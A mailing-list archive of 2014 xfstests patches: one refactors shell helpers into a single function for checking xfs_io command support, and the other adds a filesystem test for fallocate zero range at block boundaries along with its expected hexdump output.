(8.13.8/8.13.8) with ESMTP id s1SGB9ZP012824; Fri, 28 Feb 2014 11:11:10 -0500 From: Lukas Czerner To: linux-ext4@vger.kernel.org Cc: xfs@oss.sgi.com, linux-fsdevel@vger.kernel.org, Lukas Czerner Subject: [PATCH 1/8] xfstests: Create single function for testing xfs_io commands Date: Fri, 28 Feb 2014 17:10:58 +0100 X-ASG-Orig-Subj: [PATCH 1/8] xfstests: Create single function for testing xfs_io commands Message-Id: <1393603865-26198-1-git-send-email-lczerner@redhat.com> X-Scanned-By: MIMEDefang 2.67 on 10.5.11.11 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1393603871 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 Currently there are several function testing various xfs_io commands. This commit creates _require_xfs_io_command() to test any xfs_command. Signed-off-by: Lukas Czerner --- common/rc | 72 +++++++++++++++++++++++++++++++++------------------------------ 1 file changed, 38 insertions(+), 34 deletions(-) diff --git a/common/rc b/common/rc index f2c3c3a..7f530d0 100644 --- a/common/rc +++ b/common/rc @@ -1296,12 +1296,43 @@ _user_do() fi } +_require_xfs_io_command() +{ + if [ $# -ne 1 ] + then + echo "Usage: _require_xfs_io_command command" 1>&2 + exit 1 + fi + command=$1 + + testfile=$TEST_DIR/$$.xfs_io + case $command in + "falloc" ) + testio=`$XFS_IO_PROG -F -f -c "falloc 0 1m" $testfile 2>&1` + ;; + "fpunch" | "fcollapse" | "zero" ) + testio=`$XFS_IO_PROG -F -f -c "pwrite 0 20k" -c "fsync" \ + -c "$command 4k 8k" $testfile 2>&1` + ;; + "fiemap") + testio=`$XFS_IO_PROG -F -f -c "pwrite 0 20k" -c "fsync" \ + -c "fiemap -v" $testfile 2>&1` + ;; + *) + testio=`$XFS_IO_PROG -c "$command help" 2>&1` + esac + + rm -f $testfile 2>&1 > /dev/null + echo $testio | grep -q "not found" && \ + _notrun "xfs_io $command support is missing" + echo $testio | grep -q "Operation not supported" && \ + _notrun "xfs_io $command failed (old kernel/wrong fs?)" +} + # check that xfs_io, kernel, and filesystem all support zero _require_xfs_io_zero() { - testio=`$XFS_IO_PROG -c "zero help" 2>&1` - echo $testio | grep -q 'command "zero" not found' && \ - _notrun "zero command not supported" + _require_xfs_io_command "zero" } # check that xfs_io, glibc, kernel, and filesystem all (!) support @@ -1309,54 +1340,27 @@ _require_xfs_io_zero() # _require_xfs_io_falloc() { - testfile=$TEST_DIR/$$.falloc - testio=`$XFS_IO_PROG -F -f -c "falloc 0 1m" $testfile 2>&1` - rm -f $testfile 2>&1 > /dev/null - echo $testio | grep -q "not found" && \ - _notrun "xfs_io fallocate support is missing" - echo $testio | grep -q "Operation not supported" && \ - _notrun "xfs_io fallocate command failed (old kernel/wrong fs?)" + _require_xfs_io_command "falloc" } # check that xfs_io, kernel and filesystem all support fallocate with hole # punching _require_xfs_io_falloc_punch() { - testfile=$TEST_DIR/$$.falloc - testio=`$XFS_IO_PROG -F -f -c "pwrite 0 20k" -c "fsync" \ - -c "fpunch 4k 8k" $testfile 2>&1` - rm -f $testfile 2>&1 > /dev/null - echo $testio | grep -q "not found" && \ - _notrun "xfs_io fallocate punch support is missing" - echo $testio | grep -q "Operation not supported" && \ - _notrun "xfs_io fallocate punch command failed (no fs support?)" + _require_xfs_io_command "fpunch" } # check that xfs_io, kernel and filesystem all support fallocate with collapse # range _require_xfs_io_falloc_collapse() { - testfile=$TEST_DIR/$$.falloc - testio=`$XFS_IO_PROG -f -c "pwrite 0 20k" -c "fsync" \ - -c "fcollapse 4k 8k" $testfile 2>&1` - rm -f $testfile 2>&1 > /dev/null - echo $testio | grep -q "not found" && \ - _notrun "xfs_io fallocate collapse range support is missing" - echo $testio | grep -q "Operation not supported" && \ - _notrun "xfs_io fallocate collapse range failed (no fs support?)" + _require_xfs_io_command "fcollapse" } # check that xfs_io, kernel and filesystem support fiemap _require_xfs_io_fiemap() { - testfile=$TEST_DIR/$$.fiemap - testio=`$XFS_IO_PROG -F -f -c "pwrite 0 20k" -c "fsync" \ - -c "fiemap -v" $testfile 2>&1` - rm -f $testfile 2>&1 > /dev/null - echo $testio | grep -q "not found" && \ - _notrun "xfs_io fiemap support is missing" - echo $testio | grep -q "Operation not supported" && \ - _notrun "xfs_io fiemap command failed (no fs support?)" + _require_xfs_io_command "fiemap" } # Check that a fs has enough free space (in 1024b blocks) -- 1.8.3.1 From lczerner@redhat.com Fri Feb 28 10:11:16 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 4BDD97F4E for ; Fri, 28 Feb 2014 10:11:16 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id CC0E8AC009 for ; Fri, 28 Feb 2014 08:11:15 -0800 (PST) X-ASG-Debug-ID: 1393603874-04bdf05da9116e20001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id 5lNZVrBAM2hDMVPB for ; Fri, 28 Feb 2014 08:11:14 -0800 (PST) X-Barracuda-Envelope-From: lczerner@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx01.intmail.prod.int.phx2.redhat.com (int-mx01.intmail.prod.int.phx2.redhat.com [10.5.11.11]) by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id s1SGBElw009900 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Fri, 28 Feb 2014 11:11:14 -0500 Received: from localhost.localdomain.com (dhcp-1-138.brq.redhat.com [10.34.1.138]) by int-mx01.intmail.prod.int.phx2.redhat.com (8.13.8/8.13.8) with ESMTP id s1SGB9ZR012824; Fri, 28 Feb 2014 11:11:13 -0500 From: Lukas Czerner To: linux-ext4@vger.kernel.org Cc: xfs@oss.sgi.com, linux-fsdevel@vger.kernel.org, Lukas Czerner Subject: [PATCH 3/8] generic/008: Add test for fallocate zero range at block boundary Date: Fri, 28 Feb 2014 17:11:00 +0100 X-ASG-Orig-Subj: [PATCH 3/8] generic/008: Add test for fallocate zero range at block boundary Message-Id: <1393603865-26198-3-git-send-email-lczerner@redhat.com> In-Reply-To: <1393603865-26198-1-git-send-email-lczerner@redhat.com> References: <1393603865-26198-1-git-send-email-lczerner@redhat.com> X-Scanned-By: MIMEDefang 2.67 on 10.5.11.11 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1393603874 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 Add test for fallocate zero range at block boundary. This is similar to the test xfs/290 however this one is generic and we're testing different block sizes as well - namely 1k, 2k, 4k and 64k. Note that we're not creating file systems with given block size buy rather test all 4 options. Signed-off-by: Lukas Czerner --- common/rc | 2 +- tests/generic/008 | 57 +++++++ tests/generic/008.out | 433 ++++++++++++++++++++++++++++++++++++++++++++++++++ tests/generic/group | 1 + 4 files changed, 492 insertions(+), 1 deletion(-) create mode 100755 tests/generic/008 create mode 100644 tests/generic/008.out diff --git a/common/rc b/common/rc index 7f530d0..70b8ff5 100644 --- a/common/rc +++ b/common/rc @@ -1310,7 +1310,7 @@ _require_xfs_io_command() "falloc" ) testio=`$XFS_IO_PROG -F -f -c "falloc 0 1m" $testfile 2>&1` ;; - "fpunch" | "fcollapse" | "zero" ) + "fpunch" | "fcollapse" | "zero" | "fzero" ) testio=`$XFS_IO_PROG -F -f -c "pwrite 0 20k" -c "fsync" \ -c "$command 4k 8k" $testfile 2>&1` ;; diff --git a/tests/generic/008 b/tests/generic/008 new file mode 100755 index 0000000..65e1661 --- /dev/null +++ b/tests/generic/008 @@ -0,0 +1,57 @@ +#! /bin/bash +# FS QA Test No. 008 +# +# Makes calls to fallocate zero range and checks tossed ranges +# +# Primarily tests page boundries and boundries that are +# off-by-one to ensure we're only tossing what's expected +# +#----------------------------------------------------------------------- +# Copyright 2014 (C) Red Hat, Inc., Lukas Czerner +# +# This program is free software; you can redistribute it and/or +# modify it under the terms of the GNU General Public License as +# published by the Free Software Foundation. +# +# This program is distributed in the hope that it would be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write the Free Software Foundation, +# Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA +#----------------------------------------------------------------------- +# + +seq=`basename $0` +seqres=$RESULT_DIR/$seq +echo "QA output created by $seq" + +here=`pwd` +tmp=/tmp/$$ +status=1 # failure is the default! +trap "exit \$status" 0 1 2 3 15 + +# get standard environment, filters and checks +. ./common/rc +. ./common/filter +. ./common/punch + +# real QA test starts here + +# Modify as appropriate. +_supported_os Linux + +_require_xfs_io_command "fzero" + +testfile=$TEST_DIR/008.$$ + +_test_block_boundaries 1024 fzero _filter_xfs_io_unique $testfile +_test_block_boundaries 2048 fzero _filter_xfs_io_unique $testfile +_test_block_boundaries 4096 fzero _filter_xfs_io_unique $testfile +_test_block_boundaries 65536 fzero _filter_xfs_io_unique $testfile + +# success, all done +status=0 +exit diff --git a/tests/generic/008.out b/tests/generic/008.out new file mode 100644 index 0000000..0c3fb53 --- /dev/null +++ b/tests/generic/008.out @@ -0,0 +1,433 @@ +QA output created by 008 +zero 0, 1 +wrote 1024/1024 bytes at offset 0 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 1024/1024 bytes at offset 1024 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +00000000: 00 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 .AAAAAAAAAAAAAAA +00000010: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA +* +00000400: 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB +* +read 2048/2048 bytes at offset 0 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +zero 0, 1023 +wrote 1024/1024 bytes at offset 0 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 1024/1024 bytes at offset 1024 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +00000000: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ +* +000003f0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 41 ...............A +00000400: 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB +* +read 2048/2048 bytes at offset 0 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +zero 0, 1024 +wrote 1024/1024 bytes at offset 0 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 1024/1024 bytes at offset 1024 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +00000000: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ +* +00000400: 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB +* +read 2048/2048 bytes at offset 0 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +zero 0, 1025 +wrote 1024/1024 bytes at offset 0 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 1024/1024 bytes at offset 1024 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +00000000: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ +* +00000400: 00 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 .BBBBBBBBBBBBBBB +00000410: 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB +* +read 2048/2048 bytes at offset 0 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +zero 1023, 1024 +wrote 1024/1024 bytes at offset 0 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 1024/1024 bytes at offset 1024 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +00000000: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA +* +000003f0: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 00 AAAAAAAAAAAAAAA. +00000400: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ +* +000007f0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 42 ...............B +read 2048/2048 bytes at offset 0 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +zero 1023, 1025 +wrote 1024/1024 bytes at offset 0 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 1024/1024 bytes at offset 1024 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +00000000: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA +* +000003f0: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 00 AAAAAAAAAAAAAAA. +00000400: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ +* +read 2048/2048 bytes at offset 0 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +zero 1023, 1026 +wrote 1024/1024 bytes at offset 0 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 1024/1024 bytes at offset 1024 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +00000000: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA +* +000003f0: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 00 AAAAAAAAAAAAAAA. +00000400: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ +* +read 2048/2048 bytes at offset 0 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +zero 1024, 1024 +wrote 1024/1024 bytes at offset 0 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 1024/1024 bytes at offset 1024 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +00000000: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA +* +00000400: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ +* +read 2048/2048 bytes at offset 0 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +zero 512 , 1024 +wrote 1024/1024 bytes at offset 0 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 1024/1024 bytes at offset 1024 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +00000000: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA +* +00000200: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ +* +00000600: 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB +* +read 2048/2048 bytes at offset 0 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +zero 0, 1 +wrote 2048/2048 bytes at offset 0 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 2048/2048 bytes at offset 2048 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +00000000: 00 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 .AAAAAAAAAAAAAAA +00000010: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA +* +00000800: 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB +* +read 4096/4096 bytes at offset 0 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +zero 0, 2047 +wrote 2048/2048 bytes at offset 0 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 2048/2048 bytes at offset 2048 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +00000000: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ +* +000007f0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 41 ...............A +00000800: 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB +* +read 4096/4096 bytes at offset 0 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +zero 0, 2048 +wrote 2048/2048 bytes at offset 0 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 2048/2048 bytes at offset 2048 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +00000000: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ +* +00000800: 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB +* +read 4096/4096 bytes at offset 0 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +zero 0, 2049 +wrote 2048/2048 bytes at offset 0 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 2048/2048 bytes at offset 2048 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +00000000: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ +* +00000800: 00 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 .BBBBBBBBBBBBBBB +00000810: 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB +* +read 4096/4096 bytes at offset 0 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +zero 2047, 2048 +wrote 2048/2048 bytes at offset 0 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 2048/2048 bytes at offset 2048 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +00000000: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA +* +000007f0: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 00 AAAAAAAAAAAAAAA. +00000800: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ +* +00000ff0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 42 ...............B +read 4096/4096 bytes at offset 0 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +zero 2047, 2049 +wrote 2048/2048 bytes at offset 0 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 2048/2048 bytes at offset 2048 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +00000000: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA +* +000007f0: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 00 AAAAAAAAAAAAAAA. +00000800: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ +* +read 4096/4096 bytes at offset 0 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +zero 2047, 2050 +wrote 2048/2048 bytes at offset 0 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 2048/2048 bytes at offset 2048 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +00000000: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA +* +000007f0: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 00 AAAAAAAAAAAAAAA. +00000800: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ +* +read 4096/4096 bytes at offset 0 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +zero 2048, 2048 +wrote 2048/2048 bytes at offset 0 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 2048/2048 bytes at offset 2048 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +00000000: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA +* +00000800: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ +* +read 4096/4096 bytes at offset 0 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +zero 1024 , 2048 +wrote 2048/2048 bytes at offset 0 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 2048/2048 bytes at offset 2048 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +00000000: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA +* +00000400: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ +* +00000c00: 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB +* +read 4096/4096 bytes at offset 0 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +zero 0, 1 +wrote 4096/4096 bytes at offset 0 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 4096 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +00000000: 00 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 .AAAAAAAAAAAAAAA +00000010: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA +* +00001000: 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB +* +read 8192/8192 bytes at offset 0 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +zero 0, 4095 +wrote 4096/4096 bytes at offset 0 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 4096 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +00000000: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ +* +00000ff0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 41 ...............A +00001000: 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB +* +read 8192/8192 bytes at offset 0 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +zero 0, 4096 +wrote 4096/4096 bytes at offset 0 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 4096 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +00000000: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ +* +00001000: 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB +* +read 8192/8192 bytes at offset 0 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +zero 0, 4097 +wrote 4096/4096 bytes at offset 0 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 4096 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +00000000: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ +* +00001000: 00 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 .BBBBBBBBBBBBBBB +00001010: 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB +* +read 8192/8192 bytes at offset 0 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +zero 4095, 4096 +wrote 4096/4096 bytes at offset 0 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 4096 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +00000000: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA +* +00000ff0: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 00 AAAAAAAAAAAAAAA. +00001000: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ +* +00001ff0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 42 ...............B +read 8192/8192 bytes at offset 0 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +zero 4095, 4097 +wrote 4096/4096 bytes at offset 0 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 4096 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +00000000: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA +* +00000ff0: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 00 AAAAAAAAAAAAAAA. +00001000: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ +* +read 8192/8192 bytes at offset 0 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +zero 4095, 4098 +wrote 4096/4096 bytes at offset 0 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 4096 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +00000000: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA +* +00000ff0: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 00 AAAAAAAAAAAAAAA. +00001000: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ +* +read 8192/8192 bytes at offset 0 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +zero 4096, 4096 +wrote 4096/4096 bytes at offset 0 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 4096 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +00000000: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA +* +00001000: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ +* +read 8192/8192 bytes at offset 0 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +zero 2048 , 4096 +wrote 4096/4096 bytes at offset 0 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 4096 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +00000000: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA +* +00000800: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ +* +00001800: 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB +* +read 8192/8192 bytes at offset 0 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +zero 0, 1 +wrote 65536/65536 bytes at offset 0 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 65536/65536 bytes at offset 65536 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +00000000: 00 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 .AAAAAAAAAAAAAAA +00000010: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA +* +00010000: 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB +* +read 131072/131072 bytes at offset 0 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +zero 0, 65535 +wrote 65536/65536 bytes at offset 0 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 65536/65536 bytes at offset 65536 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +00000000: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ +* +0000fff0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 41 ...............A +00010000: 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB +* +read 131072/131072 bytes at offset 0 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) 